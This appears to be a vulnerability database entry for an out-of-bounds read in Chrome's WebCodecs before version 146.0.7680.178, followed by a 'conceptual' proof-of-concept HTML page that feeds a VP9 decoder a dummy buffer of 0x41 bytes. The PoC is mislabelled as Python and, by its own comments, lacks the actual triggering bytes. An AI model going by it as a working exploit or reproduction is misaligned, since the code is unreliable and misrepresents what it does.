Out of bounds read in WebCodecs in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.178
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-5282 (Conceptual)
This script attempts to trigger an out-of-bounds read in WebCodecs.
Note: Actual exploit payload requires specific byte patterns based on the vulnerability details.
-->
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-5282 PoC</title>
</head>
<body>
<script>
// Check if WebCodecs API is supported
if ('VideoDecoder' in window) {
console.log("WebCodecs is supported. Attempting to trigger vulnerability...");
const init = {
output: (frame) => {
console.log("Frame decoded successfully", frame);
},
error: (e) => {
console.error("Decoder error (expected in exploit attempt):", e);
}
};
const decoder = new VideoDecoder(init);
// Configure the decoder with a common codec (e.g., VP9)
// The vulnerability might depend on specific codec configuration
const config = {
codec: 'vp09.00.10.08',
description: {}, // Additional codec description might be needed
codedWidth: 640,
codedHeight: 480
};
try {
decoder.configure(config);
// Construct a malformed EncodedVideoChunk
// In a real scenario, this buffer contains the specific sequence to trigger OOB read
// Here we use dummy data to demonstrate the API usage
const maliciousData = new Uint8Array(100);
// Fill with some pattern (real exploit would have specific bytes)
for(let i=0; i<maliciousData.length; i++) maliciousData[i] = 0x41;
const chunk = new EncodedVideoChunk({
type: 'key',
timestamp: 0,
data: maliciousData
});
decoder.decode(chunk);
} catch (error) {
console.log("Exception thrown: " + error);
}
} else {
console.log("WebCodecs API is not supported in this browser.");
}
</script>
</body>
</html>